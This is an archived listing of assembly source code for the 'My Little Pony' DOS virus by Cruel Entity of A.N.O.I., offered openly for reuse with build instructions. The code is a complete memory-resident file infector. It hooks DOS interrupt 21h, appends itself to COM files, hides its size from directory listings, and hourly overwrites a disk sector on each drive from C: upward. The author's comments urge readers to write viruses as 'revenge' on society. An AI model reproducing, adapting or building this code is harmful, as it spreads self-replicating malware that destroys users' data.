home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / M.ZIP / MLP-1307.ASM < prev    next >
Assembly Source File  |  1994-01-05  |  23KB  |  749 lines

  1.                 .model tiny
  2.                 .code
  3.  
  4.                 org     100h
  5.  
  6. start:
  7.  
  8. ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=;
  9. ;                    A NEW ORDER OF INTELLIGENCE PRESENTS:                     ;
  10. ;                             My Little Pony 1.00                              ;
  11. ;           Copyright (c) 1992, 1993 by Cruel Entity / Macaroni Ted            ;
  12. ;                                 - A.N.O.I -                                  ;
  13. ;                                                                              ;
  14. ;                                                                              ;
  15. ; I know that there is a much better documented source-code for this           ;
  16. ; virus. And I'm also very interessted to get in touch with the guy           ;
  17. ; who did that documentation. Please contact me.                               ;
  18. ;                                                                              ;
  19. ; You may freely use this code as you want, just give me some of the           ;
  20. ; credits. Please learn to create virus, so we, together can get our           ;
  21. ; revenge to the soceity. Learn to feel the feeling being cruel!               ;
  22. ;                                                                              ;
  23. ; Of cource I can't take any responsibility for all virus-coders           ;
  24. ; who use any of the routines in this virus.                                   ;
  25. ;                                                                              ;
  26. ;                                                                              ;
  27. ; Greetings to;  The Unforgiven for giving me AT&T's                           ;
  28. ;                Immortal Riot's members '94                                   ;
  29. ;                The man sitting in basement                                   ;
  30. ;                                                                              ;
  31. ; ps! Tasm /m3 and tlink /t to get this babe into executable!
  32. ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=;
  33.  
  34. start:
  35.                 call    $+3
  36. sub_this:       pop     bp
  37.  
  38.                 mov     ax,0dd22h                ;are we already in memory?
  39.                 int     21h
  40.                 cmp     ax,03d33h
  41.                 jne     $+7
  42.                 lea     dx,[bp+(cancel-sub_this)]
  43.                 jmp     far ptr dx
  44.  
  45.                 mov     ax,3521h                ;get int 21h vect
  46.                 int     21h
  47.                 mov     [bp+(int_21h_off-sub_this)],bx
  48.                 mov     [bp+(int_21h_seg-sub_this)],es
  49.  
  50.                 mov     ax,cs
  51.                 dec     ax
  52.                 mov     es,ax
  53.                 mov     ax,es:[0003h]
  54.                 sub     ax,[bp+(memlen-sub_this)]
  55.                 mov     es:[0003h],ax
  56.                 mov     ax,[bp+(memlen-sub_this)]
  57.                 sub     word ptr es:[0012h],ax
  58.                 mov     es,es:[0012h]
  59.                 push    es
  60.  
  61.                 lea     si,[bp+(start-sub_this)]
  62.                 mov     di,0100h
  63.                 mov     cx,[bp+(filelen-sub_this)]
  64.                 rep     movsb
  65.  
  66.                 pop     ds                      ;es => ds
  67.                 mov     ax,2521h                ;new vector at ES:0100
  68.                 lea     dx,new_int_21h
  69.                 int     21h
  70. cancel:
  71.                 push    cs                      ;cs => ds => es
  72.                 push    cs
  73.                 pop     ds
  74.                 pop     es
  75.  
  76.                 lea     si,[bp+(first_bytes-sub_this)]
  77.                 mov     cx,3
  78.                 mov     di,100h
  79.                 rep     movsb
  80.                 sub     di,3
  81.                 jmp     far ptr di
  82.  
  83.                 db      'Simple Simon met a pieman going to the fair said'
  84.                 db      ' Simple Simon to the pieman let me take your ware'
  85. write_rnd_sector:
  86.                 cmp     dh,0            ;sec
  87.                 jne     back
  88.  
  89.                 cmp     dl,5            ;100th
  90.                 ja      back
  91.  
  92.  
  93.                 pushf                   ;fuck rnd sector
  94.                 push    bx
  95.  
  96.                 call    get_rnd
  97.                 mov     cx,10           ;/ 10
  98.                 xor     dx,dx
  99.                 div     cx
  100.                 mov     dx,ax           ;dx=ax
  101.  
  102.                 mov     al,2h           ; Drive #, start with C:
  103.                 mov     cx,1h           ; # of sectors to overwrite
  104.                 lea     bx,logo         ; Address to overwriting DATA
  105. loopie:
  106.                 int     26h
  107.                 popf
  108.                 inc     al
  109.                 cmp     al,25
  110.                 jne     loopie
  111.  
  112.  
  113.                 pop     bx
  114.                 popf
  115.                 jmp     back
  116.  
  117.                 db      '(c)1993 Cruel Entity'
  118.  
  119. ;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  120. ;                                 New int 21h
  121. ;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  122. new_int_21h:
  123.                 pushf
  124.  
  125.                 cmp     ax,0dd22h       ;check if resident
  126.                 je      mem_check
  127.  
  128.                 cmp     ah,11h          ;find 1st old
  129.                 je      find_old
  130.                 cmp     ah,12h          ;find 1st old
  131.                 je      find_old
  132.  
  133.                 cmp     ah,4eh                  ;dos 2.x
  134.                 je      find_
  135.                 cmp     ah,4fh
  136.                 je      find_
  137.  
  138.                 cmp     ah,3dh          ;open
  139.                 je      open_
  140.  
  141.                 cmp     ah,3eh          ;close
  142.                 je      close_
  143.  
  144.                 cmp     ah,2ch
  145.                 je      back2
  146.  
  147.                 push    ax
  148.                 push    cx
  149.                 push    dx
  150.  
  151.                 mov     ah,2ch
  152.                 int     21h
  153.  
  154.                 cmp     cl,00                   ;a new hour?
  155.                 je      write_rnd_sector
  156. back:
  157.                 pop     dx
  158.                 pop     cx
  159.                 pop     ax
  160.  
  161. back2:
  162.                 cmp     ah,36h
  163.                 jne     return_21h
  164.                 push    bp
  165.                 lea     bp,get_free_space
  166.                 jmp     far ptr bp
  167. return_21h:
  168.                 popf
  169.  
  170. real_int_21h:   db      0eah            ;jmp...
  171. int_21h_off     dw      ?               ;to old int 21h
  172. int_21h_seg     dw      ?
  173. ;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  174.  
  175.  
  176. find_:
  177.                 push    bp
  178.                 lea     bp,find_new
  179.                 jmp     far ptr bp
  180.  
  181. open_:
  182.                 push    bp
  183.                 lea     bp,open
  184.                 jmp     far ptr bp
  185. close_:
  186.                 push    bp
  187.                 lea     bp,close_file
  188.                 jmp     far ptr bp
  189.  
  190. mem_check:
  191.                 popf
  192.                 mov     ax,3d33h
  193.                 iret
  194. call_int21h:
  195.                 jmp     dword ptr cs:int_21h_off   ;force a call to DOS
  196.                 ret
  197.  
  198. find_old:
  199.                 popf
  200.  
  201.                 pushf                           ;find fcb
  202.                 push    cs
  203.                 call    call_int21h
  204.                 cmp     al,0ffh
  205.                 je      no_more_files
  206.  
  207.                 pushf
  208.                 push    ax
  209.                 push    bx
  210.                 push    cx
  211.                 push    dx
  212.                 push    si
  213.                 push    di
  214.                 push    ds
  215.                 push    es
  216.                 push    bp
  217.  
  218.                 mov     ah,2fh                  ;get dta
  219.                 int     21h
  220.  
  221.                 push    es              ;es:bx
  222.                 pop     ds              ;ds:bx
  223.                 mov     si,bx           ;ds:si
  224.  
  225.                 add     si,16           ;ext name
  226.                 lodsw
  227.                 cmp     ax,'OC'         ;.CO
  228.                 jne     cancel_ff
  229.                 lodsb
  230.                 cmp     al,'M'          ;M
  231.                 jne     cancel_ff
  232. ext_ok:
  233.                                          ;ext=com
  234.                 mov     si,bx            ;check size
  235.                 add     si,26h
  236.                 lodsw
  237.                 cmp     ax,0            ;=> 0ffffh?
  238.                 jne     cancel_ff
  239.  
  240.                 mov     si,bx           ;check if already infected
  241.                 add     si,30
  242.                 lodsw                   ;time
  243.                 and     al,00011111b
  244.                 cmp     al,00001010b
  245.                 je      $+7            ;already infected (sec=24)
  246.                 lea     dx,store_in_mem
  247.                 jmp     far ptr dx
  248.  
  249.                 mov     si,bx           ;alter size
  250.                 add     si,36
  251.                 mov     di,si
  252.                 lodsw
  253.                 sub     ax,cs:filelen
  254.                 jz      cancel_ff
  255.                 stosw
  256. cancel_ff:
  257.                 pop     bp
  258.                 pop     es
  259.                 pop     ds
  260.                 pop     di
  261.                 pop     si
  262.                 pop     dx
  263.                 pop     cx
  264.                 pop     bx
  265.                 pop     ax
  266.                 popf
  267. no_more_files:  retf    2               ;iret flags
  268.  
  269.            db      "%%% MY LITTLE PONY %%% COPYRIGHT(C) 1993 A.N.O.I. %%%"
  270.  
  271. store_in_mem:                           ;store filename in buffer
  272.                 mov     si,bx
  273.                 add     si,8
  274.  
  275.                 push    cs              ;cs => es
  276.                 pop     es
  277.  
  278.                 mov     cx,10
  279.                 lea     di,file_buffer  ;check pos
  280. check_pos:
  281.                 cmp     byte ptr es:[di],20h
  282.                 je      store
  283.                 add     di,8
  284.                 loop    check_pos
  285.                 jmp     cancel_ff
  286.  
  287. store:
  288.                 mov     cx,8
  289.                 rep     movsb
  290.                 jmp     cancel_ff
  291. ;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  292.  
  293. get_free_space:
  294.                 pop     bp
  295.                 push    ax
  296.                 push    bx
  297.                 push    cx
  298.                 push    dx
  299.                 push    si
  300.                 push    di
  301.                 push    ds
  302.                 push    es
  303.                 push    bp
  304.  
  305.                 push    cs              ;cs=> ds=> es
  306.                 push    cs
  307.                 pop     ds
  308.                 pop     es
  309.  
  310.                 lea     di,file_buffer
  311.                 mov     cx,10
  312. check_last:
  313.                 cmp     byte ptr [di],20h       ;check if last
  314.                 je      cancel_inf
  315.  
  316.                 push    di
  317.                 push    cx
  318.                 mov     si,di           ;si=file pos
  319.                 call    infect
  320.                 pop     cx
  321.                 pop     di
  322.  
  323.                 add     di,8
  324.                 loop    check_last
  325. cancel_inf:
  326.                 push    cs
  327.                 pop     es
  328.                 lea     di,file_buffer
  329.                 mov     cx,80+12
  330.                 mov     al,20h
  331.                 rep     stosb
  332.  
  333.                 pop     bp
  334.                 pop     es
  335.                 pop     ds
  336.                 pop     di
  337.                 pop     si
  338.                 pop     dx
  339.                 pop     cx
  340.                 pop     bx
  341.                 pop     ax
  342.                 popf
  343.                 jmp     real_int_21h
  344.  
  345. infect:
  346.                                         ;convert filename to asciiz
  347.                 lea     di,filename
  348.                 mov     cx,8            ;filename NOT ext
  349. cpy_filename:
  350.                 lodsb
  351.                 cmp     al,20h
  352.                 je      filename_klar
  353.                 stosb
  354.                 loop    cpy_filename
  355. filename_klar:
  356.                 mov     al,'.'
  357.                 stosb
  358.                 mov     al,'C'
  359.                 stosb
  360.                 mov     al,'O'
  361.                 stosb
  362.                 mov     al,'M'
  363.                 stosb
  364.                 mov     al,0
  365.                 stosb
  366.  
  367.                 push    cs
  368.                 pop     ds
  369.  
  370.                 mov     ax,4300h        ;get attrib
  371.                 lea     dx,filename
  372.                 int     21h
  373.                 jnc     $+3             ;error?
  374.                 ret
  375.  
  376.                 push    cx              ;save attrib
  377.  
  378.                 xor     cx,cx
  379.                 mov     ax,4301h        ;force all attribs
  380.                 int     21h
  381.  
  382.                 mov     ax,3d02h        ;open filename
  383.                 lea     dx,filename
  384.                 pushf
  385.                 push    cs
  386.                 call    call_int21h
  387.                 mov     bx,ax           ;save handle
  388.  
  389.                 mov     ax,5700h        ;get time/date
  390.                 int     21h
  391.  
  392.                 push    dx              ;save time/date
  393.                 push    cx
  394.  
  395.                 and     cl,00011111b
  396.                 cmp     cl,00001010b
  397.                 jne     $+7            ;already infected (sec=24)
  398.                 lea     dx,cancel_inf2
  399.                 jmp     far ptr dx
  400.  
  401.  
  402.  
  403.                 mov     ah,3fh                  ;read 3 first bytes
  404.                 mov     cx,3
  405.                 lea     dx,first_bytes
  406.                 int     21h
  407.  
  408.                 mov     ax,4202h                ;goto eof
  409.                 xor     dx,dx
  410.                 xor     cx,cx
  411.                 int     21h
  412.  
  413.                 sub     ax,3                    ;create a jmp
  414.                 mov     jmp_2,ax
  415.  
  416.                 mov     ah,40h                  ;write virus
  417.                 mov     dx,100h
  418.                 mov     cx,filelen
  419.                 int     21h
  420.  
  421.                 mov     ax,4200h                ;goto beg
  422.                 xor     dx,dx
  423.                 xor     cx,cx
  424.                 int     21h
  425.  
  426.                 mov     ah,40h                  ;write jmp
  427.                 mov     cx,3
  428.                 lea     dx,jmp_1
  429.                 int     21h
  430. cancel_inf2:
  431.                 pop     cx                      ;restore time/date
  432.                 pop     dx
  433.  
  434.                 and     cl,11100000b            ;secs=20
  435.                 or      cl,00001010b
  436.                 mov     ax,5701h                ;set time/date
  437.                 int     21h
  438.  
  439.                 mov     ah,3eh                  ;close
  440.                 pushf
  441.                 push    cs
  442.                 call    call_int21h
  443.  
  444.                 mov     ax,4301h                ;set attrib
  445.                 lea     dx,filename
  446.                 pop     cx                      ;restore attrib
  447.                 int     21h
  448.  
  449.                 ret
  450. find_new:
  451.                 pop     bp
  452.                 popf
  453.  
  454.                 pushf                           ;find 4e
  455.                 push    cs
  456.                 call    call_int21h
  457.                 jnc     more_files
  458.                 retf    2
  459. more_files:
  460.                 pushf
  461.                 push    ax
  462.                 push    bx
  463.                 push    cx
  464.                 push    dx
  465.                 push    si
  466.                 push    di
  467.                 push    ds
  468.                 push    es
  469.                 push    bp
  470.  
  471.                 mov     ah,2fh                  ;get dta
  472.                 int     21h
  473.  
  474.                 push    es              ;es:bx
  475.                 pop     ds              ;ds:bx
  476.  
  477.                 mov     si,bx           ;ds:si
  478.  
  479.                 push    cs              ;cs => es
  480.                 pop     es
  481.  
  482.                 add     si,1eh          ;f name
  483.                 lea     di,filename
  484.                 mov     cx,25
  485.  
  486. get_fname:
  487.                 lodsb
  488.                 cmp     al,0
  489.                 je      get_f_klar
  490.                 stosb
  491.                 loop    get_fname
  492. get_f_klar:
  493.                 mov     al,0            ;asciiz
  494.                 stosb
  495.  
  496.                 push    ds              ;ds=> es
  497.                 pop     es
  498.                 push    cs              ;cs=> ds
  499.                 pop     ds
  500.                 mov     si,di
  501.  
  502.                 sub     si,4            ;'COM'
  503.                 lodsw                   ;CO
  504.  
  505.                 cmp     ax,'OC'
  506.                 je      check_m
  507.                 cmp     ax,'oc'
  508.                 jne     cancel_new
  509. check_m:
  510.                 lodsb
  511.                 cmp     al,'m'
  512.                 je      ext_is_com
  513.                 cmp     al,'M'
  514.                 jne     cancel_new
  515.  
  516. ext_is_com:
  517.                 push    es              ;es=> ds
  518.                 pop     ds
  519.  
  520.                 mov     si,bx
  521.                 add     si,1ch          ;check size
  522.                 lodsw
  523.                 cmp     ax,0            ;=> 0ffffh
  524.                 jne     cancel_new
  525.  
  526.                 mov     si,bx
  527.                 add     si,16h
  528.                 lodsw                   ;time
  529.                 and     al,00011111b
  530.                 cmp     al,00001010b
  531.                 jne     cancel_new     ;not infected
  532.  
  533.                 mov     si,bx
  534.                 add     si,1ah
  535.                 mov     di,si
  536.                 lodsw                   ;alter size
  537.                 sub     ax,cs:filelen
  538.                 jz      cancel_new
  539.                 stosw
  540.  
  541. cancel_new:
  542.                 pop     bp
  543.                 pop     es
  544.                 pop     ds
  545.                 pop     di
  546.                 pop     si
  547.                 pop     dx
  548.                 pop     cx
  549.                 pop     bx
  550.                 pop     ax
  551.                 popf
  552. no_more_files2: retf    2               ;iret flags
  553. open:
  554.                 pop     bp
  555.                 push    ax
  556.                 push    bx
  557.                 push    cx
  558.                 push    dx
  559.                 push    si
  560.                 push    di
  561.                 push    bp
  562.                 push    ds
  563.                 push    es
  564.  
  565.  
  566.                 mov     al,'.'
  567.                 push    ds              ;ds=> es
  568.                 pop     es
  569.                 mov     di,dx           ;es:di filename
  570.  
  571.                 mov     cx,50
  572.                 repnz   scasb
  573.  
  574.                 mov     si,di           ;ds:si file ext.
  575.  
  576.                 lodsw
  577.                 cmp     ax,'OC'
  578.                 je      check_m2
  579.                 cmp     ax,'oc'
  580.                 je      $+7
  581.                 lea     dx,cancel_open
  582.                 jmp     far ptr dx
  583. check_m2:
  584.                 lodsb
  585.                 cmp     al,'m'
  586.                 je      ext_is_com2
  587.                 cmp     al,'M'
  588.                 jne     cancel_open
  589.  
  590. ext_is_com2:
  591.                 mov     ax,3d02h        ;open file
  592.                 pushf
  593.                 push    cs
  594.                 call    call_int21h
  595.                 jc      cancel_open
  596.                 mov     bx,ax
  597.  
  598.                 push    cs
  599.                 pop     ds
  600.                 push    cs
  601.                 pop     es
  602.  
  603.                 mov     ax,5700h        ;get time/date
  604.                 int     21h
  605.  
  606.                 and     cl,00011111b    ;already infected
  607.                 cmp     cl,00001010b
  608.                 jne     cancel_open
  609.  
  610.                 mov     ax,4202h        ;goto eof
  611.                 xor     dx,dx
  612.                 xor     cx,cx
  613.                 int     21h
  614.  
  615.                 push    ax              ;save size
  616.                 sub     ax,3
  617.  
  618.                 mov     dx,ax           ;goto eof -3
  619.                 mov     ax,4200h
  620.                 mov     cx,0
  621.                 int     21h
  622.  
  623.                 mov     ah,3fh          ;read
  624.                 mov     cx,3
  625.                 lea     dx,temp_bytes
  626.                 int     21h
  627.  
  628.  
  629.                 mov     ax,4200h        ;goto beg
  630.                 xor     cx,cx
  631.                 xor     dx,dx
  632.                 int     21h
  633.  
  634.                 mov     ah,40h          ;write original
  635.                 mov     cx,3
  636.                 lea     dx,temp_bytes
  637.                 int     21h
  638.  
  639.                 pop     dx
  640.                 sub     dx,filelen
  641.  
  642.                 mov     ax,4200h        ;goto real size
  643.                 mov     cx,0
  644.                 int     21h
  645.  
  646.                 mov     ah,40h
  647.                 mov     cx,0
  648.                 int     21h
  649.  
  650.                 mov     ah,3eh
  651.                 pushf
  652.                 push    cs
  653.                 call    call_int21h
  654. cancel_open:
  655.                 pop     es
  656.                 pop     ds
  657.                 pop     bp
  658.                 pop     di
  659.                 pop     si
  660.                 pop     dx
  661.                 pop     cx
  662.                 pop     bx
  663.                 pop     ax
  664.                 popf
  665.  
  666.                 pushf                           ;open file...
  667.                 push    cs
  668.                 call    call_int21h
  669.                 retf    2
  670.  
  671. close_file:
  672.                 pop     bp
  673.                 push    ax
  674.                 push    bx
  675.                 push    cx
  676.                 push    dx
  677.                 push    si
  678.                 push    di
  679.                 push    bp
  680.                 push    ds
  681.                 push    es
  682.  
  683.                 mov     ax,1220h        ;get handle table
  684.                 int     02Fh
  685.                 mov     bl,es:[di]
  686.                 mov     ax,1216h
  687.                 int     02Fh
  688.  
  689.                 mov     bp,di
  690.  
  691.                 add     di,28h
  692.                 push    es
  693.                 pop     ds
  694.                 mov     si,di
  695.                 lodsw
  696.                 cmp     ax,'OC'
  697.                 jne     cancel_open
  698.                 lodsb
  699.                 cmp     al,'M'
  700.                 jne     cancel_open
  701.  
  702.                 mov     si,bp
  703.                 add     si,20h
  704.                 push    cs
  705.                 pop     es
  706.  
  707.                 call    infect
  708.  
  709.                 jmp     cancel_open
  710.  
  711. get_rnd:
  712.                 push   dx
  713.                 push   cx
  714.                 push   bx
  715.                 in     al,40h                         ;'@'
  716.                 add    ax,0000
  717.                 mov    dx,0000
  718.                 mov    cx,0007
  719. rnd_init5:
  720.                 shl    ax,1
  721.                 rcl    dx,1
  722.                 mov    bl,al
  723.                 xor    bl,dh
  724.                 jns    rnd_init6
  725.                 inc    al
  726. rnd_init6:
  727.                 loop   rnd_init5
  728.                 pop    bx
  729.                 mov    al,dl
  730.                 pop    cx
  731.                 pop    dx
  732. rnd_init_ret:
  733.                 ret
  734.  
  735. logo            db      '>>>  A.N.O.I  <<<' ; DATA to overwrite with
  736.  
  737.  
  738. temp_bytes      db      3 dup(?)
  739. filelen         dw      offset eof - offset start
  740. memlen          dw      100
  741. file_buffer     db      80 dup(20h)
  742. filename        db      12 dup(?)
  743.  
  744. jmp_1           db      0e9h
  745. jmp_2           dw      ?
  746. first_bytes     db      90h,0cdh,20h
  747.  
  748. eof:
  749.                 end     start